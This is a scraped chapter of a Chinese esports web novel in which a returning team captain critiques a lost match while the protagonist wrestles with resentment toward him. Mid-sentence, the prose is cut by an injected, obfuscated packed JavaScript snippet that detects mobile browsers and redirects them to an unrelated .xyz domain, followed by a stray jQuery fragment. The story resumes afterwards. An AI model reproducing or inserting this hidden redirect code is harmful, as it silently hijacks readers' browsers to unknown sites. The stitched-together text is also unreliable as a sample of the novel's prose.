“可是ADC的装备一直有领先，如果能拖到吴恙赶到战场，未必不能完成收割。” “不过这些只是游戏理解的不同，也没有标准答案。”沈泽恒知道自己给赵明宵造成的压力，但好在该说的也说完了，他上前拍了拍对方的肩膀以示安慰，然后回头看向角落里的周梓涵，“倒是你啊，小朋友……” 沈泽恒笑眯眯地朝着周梓涵走了过来，但不管他多努力做出一副亲和的样子，甚至连说话的语气都好像真的在哄一个小孩子，还是吓得周梓涵往吴恙身后躲了躲。 无论BUG的大名多么如雷贯耳，对周梓涵来说，沈泽恒也还是个陌生人。 吴恙也习惯性地上前半步，挡在了沈泽恒和周梓涵中间，就像他之前无数次帮周梓涵挡开那些提问角度刁钻的记者一样。 这是他今天第一次直视沈泽恒。 也是他第一次意识到，自己真的长高了不少。 他终于不用再像以前一样，需要仰视，才能看清沈泽恒的脸了。 现在，他只需要微微抬眼，就可以正常地平视沈泽恒。 难怪…… 难怪沈泽恒以前…… 也会叫他“小朋友”。 果然他那时候还是太小了。 也果然，沈泽恒这种人，谁的便宜都要占。 “吴恙喜欢和软辅走下，这更符合他强压线的打法，但这也注定了，到游戏中后期，你的身板会很脆。” “昨天最后一波龙坑那种危险的眼位，让打野去做就好，他还有机会交技能跑路，但你没有。” 沈泽恒绕过吴恙，躬下身子，耐心地跟周梓涵解释着，还凑上前去，刻意压低了音量，悄悄跟周梓涵说：“我知道，你坚持去插那个眼，不止是想开个视野那么简单。” “那个时候吴恙正好回城，你知道他会更新出无尽，领先对面ADC一个大件，你觉得下一波团可以接，而且赢面很大，加上当时赵明宵就在你身边，他的装备也不落后于对面中单，所以你才冒险去做那个眼。” “你怎么知道？” 这次就连低着头躲在吴恙身后的周梓涵都忍不住脱口而出问道，逗得沈泽恒笑出了声。 “因为在吴恙回城读秒的时候，你偏头看了眼他的屏幕，你看到了他的钱回家刚好够买无尽，对不对？” 其实从沈泽恒开始复盘昨天的游戏开始，吴恙就听出来了，刚才房间里赵明宵和周梓涵的对话，沈泽恒和他一样，大概是都听见了。 沈泽恒最后一句话，巧妙地回答了刚才他们几个人在门口听到的，关于赵明宵质疑周梓涵最后一波不该去做那个眼的问题，但吴恙没有想到，沈泽恒会看得这么细。 在昨天赛后他消失了半个多小时，许多人都以为跟沈泽恒有关，但其实他在楼梯间里捧着手机，看的并不是沈泽恒的消息，而是昨天那场输掉的比赛录像，看得太认真，才会忘记了时间。 以前钱铎说过，他和早年的沈泽恒其实很像，都是那种很纯粹的人，只要做着自己热爱的事，就可以摒弃掉所有外界的干扰，甚至包括情绪。 一开始吴恙是不信的，因为沈泽恒那副吊儿郎当的样子看着实在是太不靠谱了。 如果要问他，是从什么时候开始喜欢上沈泽恒的，他或许并不能找出一个明确的时间点或事件；但如果要问他，是从什么时候开始，沈泽恒在他心中的形象从一个好像生意会很好的夜场男公关，变成了值得信赖的沈队，那一定是无数个像现在这样的瞬间。 每一场队内的战术讨论，赛后复盘，沈泽恒总是挂着他标志性的笑，但说出来的话每一个字都在点子上。 他敢说大家都逃避的那些得罪人的话，一脸轻松的样子，却又不动声色地照顾着每个人的情绪，让人相信他只是就事论事，没有针对的意思。 他能注意到旁人根本注意不到的小细节，就好像此前他和周梓涵明明没有过任何接触，是完完全全的陌生人，却可以单凭一个偏头看吴恙显示器的小动作，就做出精准的分析，甚至到了让周梓涵本人都惊讶的程度。 无数这样的瞬间，让沈泽恒从黑网吧门口那个一看就不靠谱的“骗子”，从传说中的天才少年、中单杀神，落地成了吴恙看得见摸得着的，RT的队长，一个值得他崇拜，可以信任，甚至是依赖的，活生生的人。 但就在他最信任也最依赖沈泽恒的时候，这个人却突然人间蒸发。 当沈泽恒再次出现，吴恙不得不承认，对方刚才的一番发言，正一点点与他记忆中那个熟悉的影子重合。 像三年前一样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030612|162209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他有话想说，却不知如何开口时，只需要一个眼神，沈泽恒就能心里神会，就在刚刚，沈泽恒几乎说了全部他想说的话。 今天如果换他来，也不可能说得更好了。 而这一次，他甚至不需要用眼神向沈泽恒求救。 这样的感受让他无比矛盾。 他不愿承认，沈泽恒对他的了解，甚至已经到了只需要一次欲言又止的停顿，就能心领神会的程度，更无法接受，三年后的沈泽恒，和曾经那个可以完全信任、依赖的队长，居然还有重合的部分。 三年前，当沈泽恒突然人间蒸发，他问遍全世界也得不到一点消息。 三个月后，他是跟所有粉丝和路人一起，看到那场盛大的新闻发布会，才知道沈泽恒加入了他之前的死对头战队，一家韩国电竞豪门。 当时舆论一边倒，都骂沈泽恒是跪舔了韩国爹的狗，只有他不信。 因为沈泽恒，他一拳打断了对手的鼻梁骨，险些断送了自己的职业生涯，可就算这样沈泽恒都没有出现，别说给他一个解释，甚至连半句关心都没有过，他只能从热搜上看到沈泽恒正和某韩国电竞女解说传出的绯闻。 从那一刻起，他心里曾经的那个沈泽恒就死了。 他不能接受面前这个人，居然和他心里死去的那个影子还有重合的部分。 可他又不知道自己还能做什么。 沈泽恒的话就是他想说的，他反驳不了。 他甚至不能像石磊那样发泄情绪，因为任何过激的举动都会显得他好像到现在还很在乎。 可明明沈泽恒都不在乎。 他早就一点都不在乎了。 “不管出于什么原因，当时风女去插眼的举动还是太冒险了，这场比赛的失利，从一开始是因为你们赵队的沟通失误而起，但辅助以后也要杜绝这种可能会直接葬送比赛的操作。” 就在吴恙被心里的矛盾缠绕住时，沈泽恒已经结束了和周梓涵之间的悄悄话，重新站直了身体，回头看向赵明宵。 “新人难免激进一点，我们也都是这么过来的，作为队长，如果最后一波你的狐狸还活着，有人能够快速清线，SG不一定能直接平推基地。” 的确在那场比赛的最后一波，风女插眼被抓，附近的赵明宵有赶到支援，但风女实在太脆，等不到支援就已经阵亡了，连带着赵明宵也送了一个，比赛才会就此结束。 “该卖队友的时候还是要卖，谨慎一点。” “其他的赛后复盘还是等教练——” 说到这里，所有人的注意力其实都已经被转移到了昨天输掉的那场比赛上了，会议室的氛围稍见缓和，就连钱铎也跟着松了一口气。 但谁也没想到，沈泽恒最后的一句总结，会突然被吴恙打断。 “你不是来点外卖的？” 这是三年后，吴恙对沈泽恒说的第一句话。 他掀了掀眼皮，看向沈泽恒，眼底是那种他惯常的，淡淡的，带着一点点不耐烦和不屑的，看垃圾的眼神。 “每个战队的队内复盘、战术制定都有保密性，你一个点外卖的，在这干嘛？” 气氛再次一秒滑入冰点。 钱铎已经痛苦得闭上了眼睛，好像是怕接下来的场面会太血腥，他实在没眼看。 “哦豁——” 几秒的沉默后，沈泽恒一脸轻松地耸了耸肩。 “小朋友还是那么恨我啊？” “我还眼巴巴盼着外面传的都是假的呢。” 说着他倾身向前，凑到了吴恙的耳边，看见吴恙藏在队服外套袖口里的手紧紧握拳，他也悄悄将自己的左手背在了背后。 “大家都是成年人了，不过就是上个床而已。” “我这么帅，学长睡了我也不吃亏吧？”